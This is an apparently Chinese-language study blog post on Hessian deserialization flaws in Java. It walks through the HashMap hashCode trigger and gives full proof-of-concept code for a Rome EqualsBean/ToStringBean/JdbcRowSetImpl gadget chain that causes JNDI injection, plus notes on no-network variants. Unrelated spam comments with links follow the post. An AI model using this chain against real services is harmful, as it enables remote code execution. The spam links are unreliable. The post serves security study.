Hessian 反序列化漏洞学习记录
环境搭建
关于 RPC:Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
通讯过程:
1.客户端发起请求,并按照 RPC 协议格式填充信息 2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输 3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理 4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
maven 添加扩展:
<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
漏洞分析
漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。
接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。
那么只需要找一条入口为 hashcode 的反序列化链即可。
Rome XBean Resin SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor
打 Rome
poc:
package moonflower.hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.caucho.hessian.io.ObjectNameDeserializer; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; public class Hessian_Rome { public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getValue(Object obj, String name) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); } public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://localhost:9999/EXP"; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean, "1"); byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); } // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。 public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.until.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } }
Rome 的 rce 过程:
进入触发点,接着调用 EqualBean 的 hashcode 方法
接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
不出网的失败打法
参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!
先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。
顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:
注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。
如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数
跟进具体的调用
同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。
不出网的成功打法
利用了 java.security.SignedObject ,直接打二次反序列化即可。
具体的 payload 见 【HFCTF2022 ezchain】。参考文献
想想你的文章写的特别好https://www.ea55.com/
兄弟写的非常好 https://www.cscnn.com/
《幸福街第二部》国产剧高清在线免费观看:https://www.jgz518.com/xingkong/35511.html
哈哈哈,写的太好了https://www.lawjida.com/